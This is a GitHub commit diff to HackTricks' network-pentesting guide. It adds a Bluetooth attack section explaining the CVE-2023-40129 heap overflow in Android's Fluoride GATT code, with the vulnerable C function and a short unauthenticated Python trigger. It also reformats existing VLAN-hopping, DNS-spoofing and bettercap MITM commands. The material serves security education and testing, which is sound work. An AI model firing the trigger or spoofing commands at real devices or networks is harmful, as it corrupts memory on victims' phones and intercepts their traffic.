Skip to content

Commit a75a291

Browse files
authored
Merge pull request #1530 from HackTricks-wiki/update_Paint_it_blue__Attacking_the_bluetooth_stack_20251027_183112
Paint it blue Attacking the bluetooth stack
2 parents 295fc65 + 3dd22c7 commit a75a291

File tree

1 file changed

+92
-4
lines changed
  • src/generic-methodologies-and-resources/pentesting-network

1 file changed

+92
-4
lines changed

src/generic-methodologies-and-resources/pentesting-network/README.md

Lines changed: 92 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -333,7 +333,10 @@ By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN
333333
Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\
334334
If DHCP is not available, then use _ifconfig_ to set a static IP address.
335335

336-
```
336+
<details>
337+
<summary>VLAN interface configuration (example)</summary>
338+
339+
```bash
337340
root@kali:~# modprobe 8021q
338341
root@kali:~# vconfig add eth1 250
339342
Added VLAN with VID == 250 to IF -:eth1:-
@@ -352,6 +355,9 @@ eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
352355
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
353356
```
354357

358+
</details>
359+
360+
355361
```bash
356362
# Another configuration example
357363
modprobe 8021q
@@ -691,15 +697,22 @@ set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
691697
**Configure own DNS with dnsmasq**
692698

693699
```bash
694-
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
700+
apt-get install dnsmasq
701+
echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf
702+
echo "127.0.0.1 domain.example.com" > dnsmasq.hosts
703+
sudo dnsmasq -C dnsmasq.conf --no-daemon
695704
dig @localhost domain.example.com # Test the configured DNS
696705
```
697706

707+
698708
### Local Gateways
699709

700710
Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding.
701711

702-
```
712+
<details>
713+
<summary>gateway-finder usage example</summary>
714+
715+
```bash
703716
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
704717
root@kali:~# cd gateway-finder/
705718
root@kali:~# arp-scan -l | tee hosts.txt
@@ -717,6 +730,9 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
717730
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
718731
```
719732

733+
</details>
734+
735+
720736
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
721737

722738
For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services.
@@ -796,7 +812,7 @@ Note that in order to perform this attack the victim has to try to access initia
796812

797813
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
798814

799-
**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.**
815+
**sslStrip or sslStrip+ doesn't work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.**
800816

801817
TODO: easy-creds, evilgrade, metasploit, factory
802818

@@ -840,6 +856,9 @@ Other things to test is to try to sign the certificate with a valid certificate
840856

841857
## Bettercap
842858

859+
<details>
860+
<summary>Common Bettercap commands</summary>
861+
843862
```bash
844863
# Events
845864
events.stream off #Stop showing events
@@ -866,6 +885,9 @@ set wifi.ap.encryption false #If true, WPA2
866885
wifi.recon on; wifi.ap
867886
```
868887

888+
</details>
889+
890+
869891
### Active Discovery Notes
870892

871893
Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent.
@@ -897,6 +919,70 @@ Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 19
897919
Bettercap broadcast WSD packets searching for services (UDP Port 3702).
898920

899921

922+
## Bluetooth (L2CAP/ATT/GATT) Attacks
923+
924+
- Android Fluoride exposes services over L2CAP PSMs (e.g., SDP 0x0001, RFCOMM 0x0003, BNEP 0x000F, AVCTP 0x0017/0x001B, AVDTP 0x0019, ATT/GATT 0x001F). Services register via:
925+
926+
```c
927+
uint16_t L2CA_Register2(uint16_t psm, const tL2CAP_APPL_INFO& p_cb_info,
928+
bool enable_snoop, tL2CAP_ERTM_INFO* p_ertm_info,
929+
uint16_t my_mtu, uint16_t required_remote_mtu,
930+
uint16_t sec_level);
931+
```
932+
933+
- BlueBlue framework enables Scapy-based L2CAP/ATT crafting (built on BlueBorne l2cap_infra). Example:
934+
935+
```python
936+
acl = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode='justworks')
937+
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
938+
gatt.send_frag(p8(GATT_READ)+p16(1234))
939+
print(gatt.recv())
940+
```
941+
942+
- CVE-2023-40129 (Fluoride GATT): integer underflow in Read Multiple Variable response builder can cause ~64KB heap overflow when MTU truncates a variable-length element but the +2 length field is not accounted for.
943+
944+
<details>
945+
<summary>Root cause (GATT Read Multiple Variable)</summary>
946+
947+
```c
948+
static void build_read_multi_rsp(tGATT_SR_CMD* p_cmd, uint16_t mtu) {
949+
uint16_t ii, total_len, len; uint8_t* p; bool is_overflow=false;
950+
len = sizeof(BT_HDR) + L2CAP_MIN_OFFSET + mtu;
951+
BT_HDR* p_buf = (BT_HDR*)osi_calloc(len); p_buf->offset=L2CAP_MIN_OFFSET;
952+
p = (uint8_t*)(p_buf + 1) + p_buf->offset; *p++ = GATT_RSP_READ_MULTI_VAR;
953+
p_buf->len=1;
954+
for (ii=0; ii<p_cmd->multi_req.num_handles; ii++) {
955+
tGATTS_RSP* p_rsp = ...; // dequeued
956+
if (p_rsp) {
957+
total_len = (p_buf->len + p_rsp->attr_value.len);
958+
if (p_cmd->multi_req.variable_len) total_len += 2;
959+
if (total_len > mtu) {
960+
len = p_rsp->attr_value.len - (total_len - mtu); // BUG: ignores +2
961+
is_overflow = true;
962+
} else { len = p_rsp->attr_value.len; }
963+
if (p_cmd->multi_req.variable_len) { UINT16_TO_STREAM(p, len); p_buf->len += 2; }
964+
memcpy(p, p_rsp->attr_value.value, len); // heap overflow
965+
if (!is_overflow) p += len; p_buf->len += len; if (is_overflow) break;
966+
}
967+
}
968+
}
969+
```
970+
971+
- On variable-length entries, the overflow path subtracts only (total_len - mtu), ignoring the +2 length field, so len underflows (e.g., 0xFFFE) and memcpy writes ~64KB past the end of the buffer.
972+
</details>
973+
974+
- Minimal unauthenticated trigger (small MTU forces underflow on the 4th attribute):
975+
976+
```python
977+
# GATT_REQ_READ_MULTI_VAR (0x20), MTU=55
978+
acl = ACLConnection(interface, bdaddr)
979+
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=55)
980+
pkt = b'\x20' # opcode
981+
pkt += p16(9); pkt += p16(9); pkt += p16(9); pkt += p16(9)
982+
gatt.send(pkt)
983+
# On 4th insert: p_buf->len=55 (1 + 3*(16+2)), total_len=73 -> len=16-(73-55)=-2 -> ~64KB overwrite
984+
```
985+
900986
### Telecom / Mobile-Core (GTP) Exploitation
901987

902988

@@ -910,6 +996,8 @@ telecom-network-exploitation.md
910996
- **Network Security Assessment: Know Your Network (3rd edition)**
911997
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
912998
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
999+
- [Paint it blue: Attacking the bluetooth stack (Synacktiv)](https://www.synacktiv.com/en/publications/paint-it-blue-attacking-the-bluetooth-stack)
1000+
- [BlueBorne L2CAP testing infra (l2cap_infra)](https://github.com/ArmisSecurity/blueborne/tree/master/l2cap_infra)
9131001

9141002

9151003

0 commit comments

Comments
 (0)